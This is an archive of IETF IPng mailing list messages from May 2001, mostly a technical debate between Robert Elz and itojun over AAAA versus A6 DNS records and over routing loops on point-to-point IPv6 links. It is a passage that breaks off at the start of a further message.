From owner-ipng@sunroof.eng.sun.com Tue May 1 00:16:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f417GbIM000611 for ; Tue, 1 May 2001 00:16:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f417Gbpo000610 for ipng-dist; Tue, 1 May 2001 00:16:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f417GSIM000603 for ; Tue, 1 May 2001 00:16:29 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA09316 for ; Tue, 1 May 2001 00:16:09 -0700 (PDT) From: rtrubber@ip.eth.net Received: from ip.eth.net (punsmtp.ip.eth.net [202.9.128.18]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA12774 for ; Tue, 1 May 2001 00:16:06 -0700 (PDT) Received: (apparently) from computer ([61.11.21.159]) by ip.eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Tue, 1 May 2001 12:46:02 +0530 Message-ID: <006901c0d20d$2cab3740$9f150b3d@computer> Reply-To: To: Subject: security Date: Tue, 1 May 2001 12:35:55 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi all, can u pls give me a detailed explaination for " the comparision between security features of ipv4 & ipv6." and also "the addressing mechanism supported in both ipv4 & ipv6" Thanx in advance, -PK -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:10:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419A6IM000762 for ; Tue, 1 May 2001 02:10:07 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419A6Wq000761 for ipng-dist; Tue, 1 May 2001 02:10:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4199uIM000754 for ; Tue, 1 May 2001 02:09:57 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA11418 for ; Tue, 1 May 2001 02:09:56 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA04816 for ; Tue, 1 May 2001 02:09:53 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA19746; Tue, 1 May 2001 16:09:50 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4199lq03676; Tue, 1 May 2001 16:09:48 +0700 (ICT) From: Robert Elz To: "SCHUBERT,EBENEZER (HP-Cupertino,ex1)" cc: namedroppers@ops.ietf.org, ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-reply-to: Your message of "Mon, 30 Apr 2001 17:08:40 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 01 May 2001 16:09:47 +0700 Message-ID: <3674.988708187@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Mon, 30 Apr 2001 17:08:40 -0700 From: "SCHUBERT,EBENEZER (HP-Cupertino,ex1)" Message-ID: | Is there any alternate solution to A6 record | being looked at ? Something which lies somewhere | in between AAAA and A6. The obvious thing there would simply be to add some restrictions to the use of A6. One currently proposed is to only use A6 0,xxx (which makes it isomorphic to AAAA - but at least using the new record format, so upgrading to something a bit more complex later would not be impossible). Another would be to require all of the domains listed to be in the same zone as the A6 record (so the whole chain can always be returned in one DNS reply), and/or perhaps limiting the length of the chain (partly for the same reason). I doubt very much that it makes sense to invent something new - we already have the simplest of all possible results (AAAA) and the most general we can think of at the minute anyway (A6). Something neither simple, nor general doesn't seem likely to be a useful aim. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:22:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419MQIM000781 for ; Tue, 1 May 2001 02:22:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419MPcm000780 for ipng-dist; Tue, 1 May 2001 02:22:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419MEIM000773 for ; Tue, 1 May 2001 02:22:14 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA08864 for ; Tue, 1 May 2001 02:22:13 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA08959 for ; Tue, 1 May 2001 02:22:12 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id B4FF04B0B; Tue, 1 May 2001 18:22:09 +0900 (JST) To: Robert Elz Cc: "SCHUBERT,EBENEZER (HP-Cupertino,ex1)" , namedroppers@ops.ietf.org, ipng@sunroof.eng.sun.com In-reply-to: kre's message of Tue, 01 May 2001 16:09:47 +0700. <3674.988708187@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: AAAA/A6 thing From: itojun@iijlab.net Date: Tue, 01 May 2001 18:22:09 +0900 Message-ID: <27764.988708929@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | Is there any alternate solution to A6 record > | being looked at ? Something which lies somewhere > | in between AAAA and A6. >The obvious thing there would simply be to add some restrictions to the >use of A6. One currently proposed is to only use A6 0,xxx (which makes >it isomorphic to AAAA - but at least using the new record format, so >upgrading to something a bit more complex later would not be impossible). this part i don't really understand. if we advocate "A6 0 <128bit>" there will be resolver implementation that does not chase A6 chains at all (like for cellphones or whatever). if there's no need, there'll be no code. then, there will be no possibility for "A6 ". so I don't really see benefit of "A6 0 <128bit>" than "AAAA". itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:26:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419QYIM000801 for ; Tue, 1 May 2001 02:26:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419QY3H000800 for ipng-dist; Tue, 1 May 2001 02:26:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419QOIM000793 for ; Tue, 1 May 2001 02:26:24 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA01831 for ; Tue, 1 May 2001 02:26:23 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA11616 for ; Tue, 1 May 2001 02:26:21 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA28592; Tue, 1 May 2001 16:26:17 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f419QGq03705; Tue, 1 May 2001 16:26:16 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: Ole Troan , ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-reply-to: Your message of "Tue, 01 May 2001 11:19:11 +0900." <22619.988683551@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 01 May 2001 16:26:16 +0700 Message-ID: <3703.988709176@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 01 May 2001 11:19:11 +0900 From: itojun@iijlab.net Message-ID: <22619.988683551@itojun.org> | do you think it okay even if outsiders (bad guys) can chew your | bandwidth? i think not. No, nor do I. But you are proposing to fix this by special case code. I'd prefer to fix it by correctly configuring my routing table. That is, if the only thing out the P2P link in a specific address range is 1 address, I should have a /128 in the routing table, not a /64. If for some reason I have chosen to install a /64 for the link, then I must want all those packets to get sent down the P2P link. On the other hand, if the /128 is all that exists, then regular forwarding decisions (with no special cases) will arrange that packets that shouldn't get forwarded down the link don't get sent that way. I appreciate the implementor imperative to save me from my own mistakes (even if purely motivated from avoiding having to constantly tell people what they're doing wrong) - but please don't do that. Let me make mistakes and learn. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:37:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419bDIM000820 for ; Tue, 1 May 2001 02:37:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419bD2X000819 for ipng-dist; Tue, 1 May 2001 02:37:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419b2IM000812 for ; Tue, 1 May 2001 02:37:02 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA09999 for ; Tue, 1 May 2001 02:37:01 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA14103 for ; Tue, 1 May 2001 02:36:59 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id DD8814B0B; Tue, 1 May 2001 18:35:41 +0900 (JST) To: Robert Elz Cc: ipng@sunroof.eng.sun.com In-reply-to: kre's message of Tue, 01 May 2001 16:26:16 +0700. <3703.988709176@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Tue, 01 May 2001 18:35:41 +0900 Message-ID: <27901.988709741@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | do you think it okay even if outsiders (bad guys) can chew your > | bandwidth? i think not. > >No, nor do I. > >But you are proposing to fix this by special case code. I'd prefer to >fix it by correctly configuring my routing table. > >That is, if the only thing out the P2P link in a specific address range >is 1 address, I should have a /128 in the routing table, not a /64. > >If for some reason I have chosen to install a /64 for the link, then I >must want all those packets to get sent down the P2P link. again, this really depends on how an implementor model p2p interface on their implementation. it seems to me that there's no common consensus, at all, on how p2p interfaces gets implemented, and how these routes to p2p gets advertised to neighbors by routing protocols. cisco and gateway are the popular interpretation, i guess. i guess it hard to standardize the interpretation/model of p2p interface. if i know the peer's address, i can install blackhole route for /64, and specific route for /128 (for my interface address and the peer's). however, it is not always possible to know peer's address beforehand: - we don't always know peer's address (think about linklocal address - fe80::/10), and - we don't run NS/NA on L2 without hardware address, so - we don't know the peer's address. i would like to solve the problem for this case. >On the other hand, if the /128 is all that exists, then regular forwarding >decisions (with no special cases) will arrange that packets that shouldn't >get forwarded down the link don't get sent that way. actually, "use the default route" can be dangerous here. on 6bone, we see a lot of bogus unicast NS/NA toward global address (probably due to NUD) sent to offlink destination over wrongly-configured default route. we are seeing them as the following kernel printf() messages. since they have TTL=255, they go all the way to the final destionation (like www.kame.net). i hope to help people configure the boxes right, but if there are millions people (i guess there will be) i can't keep up. May 1 13:26:29 apple /netbsd: nd6_ns_input: invalid hlim 249 May 1 13:26:48 apple last message repeated 8 times May 1 13:45:06 apple /netbsd: nd6_ns_input: invalid hlim 249 May 1 13:45:34 apple last message repeated 11 times itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:39:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419duIM000830 for ; Tue, 1 May 2001 02:39:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419dt8R000829 for ipng-dist; Tue, 1 May 2001 02:39:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419diIM000822 for ; Tue, 1 May 2001 02:39:44 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA18439 for ; Tue, 1 May 2001 02:39:43 -0700 (PDT) Received: from ratree.psu.ac.th (ratree.psu.ac.th [192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA14824 for ; Tue, 1 May 2001 02:39:41 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA04391; Tue, 1 May 2001 16:39:38 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f419dbq03806; Tue, 1 May 2001 16:39:38 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: "SCHUBERT,EBENEZER (HP-Cupertino,ex1)" , namedroppers@ops.ietf.org, ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-reply-to: Your message of "Tue, 01 May 2001 18:22:09 +0900." <27764.988708929@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 01 May 2001 16:39:37 +0700 Message-ID: <3804.988709977@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 01 May 2001 18:22:09 +0900 From: itojun@iijlab.net Message-ID: <27764.988708929@itojun.org> | this part i don't really understand. if we advocate "A6 0 <128bit>" | there will be resolver implementation that does not chase A6 chains | at all (like for cellphones or whatever). I had thought of adding to my message (but I wanted to keep it reasonably brief) that the full resolver implementations are still needed now, in the way we decide we need them to operate - which might be via an AAAA recursive query to a back end resolver (I would expect that most baby devices will use back end resolvers to do most of the work for IPv6, just as they have for IPv4 - whether that includes synthesising AAAA from A6 queries though hasn't been decided, but it certainly has been contemplated). The advantage of A6 0 is that it would guarantee operational stability to at least the degree of AAAA - not that it will simplify the implementation effort (which only needs to be done a smallish number of times in the grand scheme of things). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 02:57:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419vFIM000859 for ; Tue, 1 May 2001 02:57:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f419vE64000858 for ipng-dist; Tue, 1 May 2001 02:57:14 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f419v5IM000851 for ; Tue, 1 May 2001 02:57:05 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA11092 for ; Tue, 1 May 2001 02:57:04 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA13614 for ; Tue, 1 May 2001 04:18:24 -0600 (MDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA11015; Tue, 1 May 2001 16:56:55 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f419utq03866; Tue, 1 May 2001 16:56:55 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-reply-to: Your message of "Tue, 01 May 2001 18:35:41 +0900." <27901.988709741@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 01 May 2001 16:56:55 +0700 Message-ID: <3864.988711015@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 01 May 2001 18:35:41 +0900 From: itojun@iijlab.net Message-ID: <27901.988709741@itojun.org> | however, it is not always possible to know peer's address beforehand: | - we don't always know peer's address (think about linklocal address | - fe80::/10), and | - we don't run NS/NA on L2 without hardware address, so | - we don't know the peer's address. Then what use is installing the route? If you don't know the link local address of the remote end, simply don't install a route to it. On a p2p link the only people who are going to be able to send to a link local addr are the 2 end points, by definition you don't know his address to send to, thus you can't be sending any packets to him. If he sends packets to you (hoping that you will loop them back to him) then whether you fail to do that because of your proposed rule that makes a special case for p2p links, or whether you do it because there's no route to his link local, seems to make little practical difference. If you do, via a routing protocol, or any other way, manage to discover what the remote end's LL address is for the P2P link, then you can install the route, and then you would be able to send to it. | actually, "use the default route" can be dangerous here. Yes, without doubt, default routes cause problems (they also make life easy, so they're not going away...) | i hope to help people configure the boxes right, | but if there are millions people (i guess there will be) i can't | keep up. Certainly the default setup, what "just happens" should be the safe way. I'm even trying hard to imagine what kind of config screwup could cause the effects that you are describing (though I guess we should have considered that as a likely possibility back when the coin toss was made to decide whether NS etc would be an ICMP protocol or a link level protocol (like ARP)). The point is that if you force the safe way, rather than just defaulting to it, you immediately kill the possibility that some future clever invention can ever be made to work. If people just need to change their configs to allow something new it is easy - but if code changes need to be made, it gets so hard that the whole thing is a write-off. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 03:06:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41A6MIM000881 for ; Tue, 1 May 2001 03:06:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41A6M1C000880 for ipng-dist; Tue, 1 May 2001 03:06:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41A6BIM000873 for ; Tue, 1 May 2001 03:06:11 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19612 for ; Tue, 1 May 2001 03:06:10 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA22857 for ; Tue, 1 May 2001 03:06:08 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 72FAF4B0B; Tue, 1 May 2001 19:06:05 +0900 (JST) To: Robert Elz Cc: ipng@sunroof.eng.sun.com In-reply-to: kre's message of Tue, 01 May 2001 16:56:55 +0700. <3864.988711015@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Tue, 01 May 2001 19:06:05 +0900 Message-ID: <28437.988711565@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | however, it is not always possible to know peer's address beforehand: > | - we don't always know peer's address (think about linklocal address > | - fe80::/10), and > | - we don't run NS/NA on L2 without hardware address, so > | - we don't know the peer's address. >Then what use is installing the route? If you don't know the link >local address of the remote end, simply don't install a route to it. > >On a p2p link the only people who are going to be able to send to a >link local addr are the 2 end points, by definition you don't know his >address to send to, thus you can't be sending any packets to him. >If he sends packets to you (hoping that you will loop them back to him) >then whether you fail to do that because of your proposed rule that >makes a special case for p2p links, or whether you do it because there's >no route to his link local, seems to make little practical difference. > >If you do, via a routing protocol, or any other way, manage to discover >what the remote end's LL address is for the P2P link, then you can install >the route, and then you would be able to send to it. suppose you have a tunnel between two machines, establish a tunnel between them, and would like to run ripng. they have link-local address, La and Lb, respectively, on their interface. router A | La | | Lb router B normally router A does not know Lb, router B does not know La. they will learn about each other using routing protocols (ripng). to throw out ripng packets to the other end, we would need to have fe80::%interface/64 as well as ff02::%interface/64 to be installed onto the routing table. they are normally installed by default by the operating system. now, we have the problem i have described repeatedly (packet to non-existing destination will make a loop). am I confused in some way? the above is reallife example for us, how do you setup routers in your setup? do you tell the other end your linklocal address? if you did that, you will have trouble replacing router in your end. or, are you proposing this scenario? - routing table has ff02::%interface/64 - routing daemon discovers each other - routing daemon installs Lb%interface/128 once they discover each other none of the existing routing daemons (i know of) work this way. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 03:25:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41APYIM000909 for ; Tue, 1 May 2001 03:25:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41APYOQ000908 for ipng-dist; Tue, 1 May 2001 03:25:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41APPIM000901 for ; Tue, 1 May 2001 03:25:25 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA15994 for ; Tue, 1 May 2001 03:25:24 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA27886 for ; Tue, 1 May 2001 03:25:21 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id RAA25832; Tue, 1 May 2001 17:25:18 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f41APHq04032; Tue, 1 May 2001 17:25:17 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-reply-to: Your message of "Tue, 01 May 2001 19:06:05 +0900." <28437.988711565@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 01 May 2001 17:25:17 +0700 Message-ID: <4030.988712717@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 01 May 2001 19:06:05 +0900 From: itojun@iijlab.net Message-ID: <28437.988711565@itojun.org> | to throw out ripng packets to the other end, we would need to have | fe80::%interface/64 as well as ff02::%interface/64 to be installed | onto the routing table. "Need to have fe80::%interface/64" ?? Why? | how do you setup routers in your setup? Most likely the same way that you do, but without the bad apps that are sending to bogus link locals I guess (that or I just haven't bothered looking as hard for the looping packets). | or, are you proposing this scenario? More like that, yes. | - routing daemon installs Lb%interface/128 once they discover each | other | none of the existing routing daemons (i know of) work this way. Of course not - until you raised the issue recently, no-one really understood that there was a problem to be solved. But it need not be the routing daemon that installs the route (though it easily could be, given that installing routes, and deleting them again, is its main function) - you could also have the kernel install the route when it receives a packet from a link local addr (essentially install the neighbour cache entry based upon info in received packets) - in this case most likely the multicast ripng packets from the remote router. I think I prefer having the routing daemon do it, that provides more opportunities for it to be subject to rules in a config file, etc, and easier replacement by something more sophisticated. I think that (at least) I should rest from this discussion for a while, and await opinions from others. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 04:04:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41B48IM000981 for ; Tue, 1 May 2001 04:04:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41B47jB000980 for ipng-dist; Tue, 1 May 2001 04:04:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from 